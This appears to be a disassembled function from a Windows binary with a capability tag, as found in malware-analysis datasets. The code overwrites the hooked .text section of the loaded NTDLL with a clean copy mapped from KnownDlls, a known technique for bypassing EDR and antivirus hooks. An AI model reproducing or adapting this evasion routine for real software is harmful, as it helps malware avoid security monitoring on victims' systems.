Function at 0x1400013b0
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
push r15
lea rbp, [rsp - 0x4f]
sub rsp, 0xe8
mov rax, qword [0x14001e008]
xor rax, rsp
mov qword [rbp + 0x3f], rax
lea rcx, str.___Using_Technique_2__Reads_NTDLL_From_KnownDlls_and_Clean._n_n
call fcn.140001010
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r15, rax
test rax, rax
jne 0x14000140a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetModuleHandleA_error:__d_n
call fcn.140001010
xor eax, eax
jmp 0x140001720
xorps xmm0, xmm0
mov qword [rsp + 0x110], rdi
xor edi, edi
lea rdx, str.RtlInitUnicodeString
mov rcx, r15
mov dword [rbp - 0x15], edi
mov dword [rbp + 3], edi
movups xmmword [rbp + 0x2f], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000154a
lea rdx, str.KnownDlls_ntdll.dll
lea rcx, [rbp + 0x2f]
call rax
lea rax, [rbp + 0x2f]
mov dword [rbp - 0x19], 0x30
xorps xmm0, xmm0
mov qword [rbp - 9], rax
lea r8, [rbp - 0x19]
mov qword [rbp - 0x11], rdi
lea edx, [rdi + 0xc]
mov dword [rbp - 1], 0x40
lea rcx, [rbp - 0x49]
mov qword [rbp - 0x49], rdi
movdqu xmmword [rbp + 7], xmm0
call qword [0x14001fbf0]
test eax, eax
jns 0x14000148b
lea rcx, str.____NtOpenSection_error._n
jmp 0x1400014ea
mov rdx, qword [rbp - 0x49]
lea rcx, str.___Clean_Section_Handle_Address...........:_0x_p_n_n
call fcn.140001010
mov rcx, qword [rbp - 0x49]
lea rax, [rbp + 0x27]
mov dword [rsp + 0x48], 2
lea r8, [rbp - 0x41]
mov dword [rsp + 0x40], edi
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
lea rdx, [r9 - 1]
mov qword [rbp - 0x41], rdi
mov qword [rbp + 0x27], rdi
mov qword [rsp + 0x20], rdi
call qword [0x14001fbf8]
test eax, eax
jns 0x140001500
lea rcx, str.____NtMapViewOfSection_error._n
call fcn.140001010
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140001718
mov rdx, qword [rbp - 0x41]
lea rcx, str.___Clean_NTDLL_Base_Address...............:_0x_p_n
call fcn.140001010
xor eax, eax
lea r8, [rbp - 0x31]
xorps xmm0, xmm0
mov qword [rbp - 0x21], rax
mov rdx, r15
movups xmmword [rbp - 0x31], xmm0
lea r9d, [rax + 0x18]
lea rcx, [rax - 1]
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
test eax, eax
jne 0x140001551
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetModuleInformation_error:__d_n
call fcn.140001010
xor eax, eax
jmp 0x140001718
mov qword [rsp + 0x100], rbx
lea rcx, str.___Hooked_NTDLL_Base_Address..............:_0x_p_n_n
mov rbx, qword [rbp - 0x31]
mov rdx, rbx
mov qword [rsp + 0x108], rsi
mov qword [rsp + 0xe0], r14
call fcn.140001010
movsxd rcx, dword [rbx + 0x3c]
mov r8, rdi
movzx r9d, word [rcx + rbx + 6]
test r9, r9
je 0x1400016b2
movzx eax, word [rcx + rbx + 0x14]
lea rdx, [rbx + 0x18]
add rdx, rcx
lea r10, str..text
add rdx, rax
nop dword [rax + rax]
mov rax, rdi
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [r10 + rax - 1]
jne 0x140001653
cmp rax, 6
jne 0x1400015b3
mov ecx, dword [rdx + 0xc]
mov rsi, qword [rbp - 0x41]
add rbx, rcx
mov edi, dword [rdx + 8]
add rsi, rcx
mov rdx, rbx
lea rcx, str.___Hooked_NTDLL_.TEXT_Section_VA..........:_0x_p_n
call fcn.140001010
mov rdx, rsi
lea rcx, str.___Clean_NTDLL_.TEXT_Section_VA...........:_0x_p_n_n
call fcn.140001010
mov edx, edi
lea rcx, str.___Size_of_.TEXT_Section..................:__zd_n
call fcn.140001010
mov rcx, qword [rbp - 0x41]
mov qword [rbp - 0x39], rbx
mov qword [rbp + 0x1f], rdi
call fcn.140001300
mov r14, rax
lea r8, [rbp + 0x1f]
lea rax, [rbp + 0x17]
mov r9d, 0x40
lea rdx, [rbp - 0x39]
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
call r14
test eax, eax
jns 0x140001665
lea rcx, str.____NtProtectVirtualMemory___1:_Error._n
call fcn.140001010
xor eax, eax
jmp 0x140001700
inc r8
add rdx, 0x28
cmp r8, r9
jb 0x1400015b0
jmp 0x1400016b2
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call fcn.140002e60
mov r9d, dword [rbp + 0x17]
lea rax, [rbp + 0x17]
lea r8, [rbp + 0x1f]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x39]
mov rcx, 0xffffffffffffffff
call r14
test eax, eax
jns 0x1400016a6
lea rcx, str.____NtProtectVirtualMemory___2:_Error._n
call fcn.140001010
xor eax, eax
jmp 0x140001700
lea rcx, str._n___NTDLL_is_cleaned._Closing_handles..._n_n
call fcn.140001010
lea rdx, str.NtUnmapViewOfSection
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp - 0x41]
mov rcx, 0xffffffffffffffff
call rax
test eax, eax
jns 0x1400016e5
mov edx, eax
lea rcx, str.____NtUnmapViewOfSection_error:__X_n
call fcn.140001010
xor eax, eax
jmp 0x140001700
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.___All_done._n
call fcn.140001010
mov eax, 1
mov rbx, qword [rsp + 0x100]
mov rsi, qword [rsp + 0x108]
mov r14, qword [rsp + 0xe0]
mov rdi, qword [rsp + 0x110]
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140001770
add rsp, 0xe8
pop r15
pop rbp
ret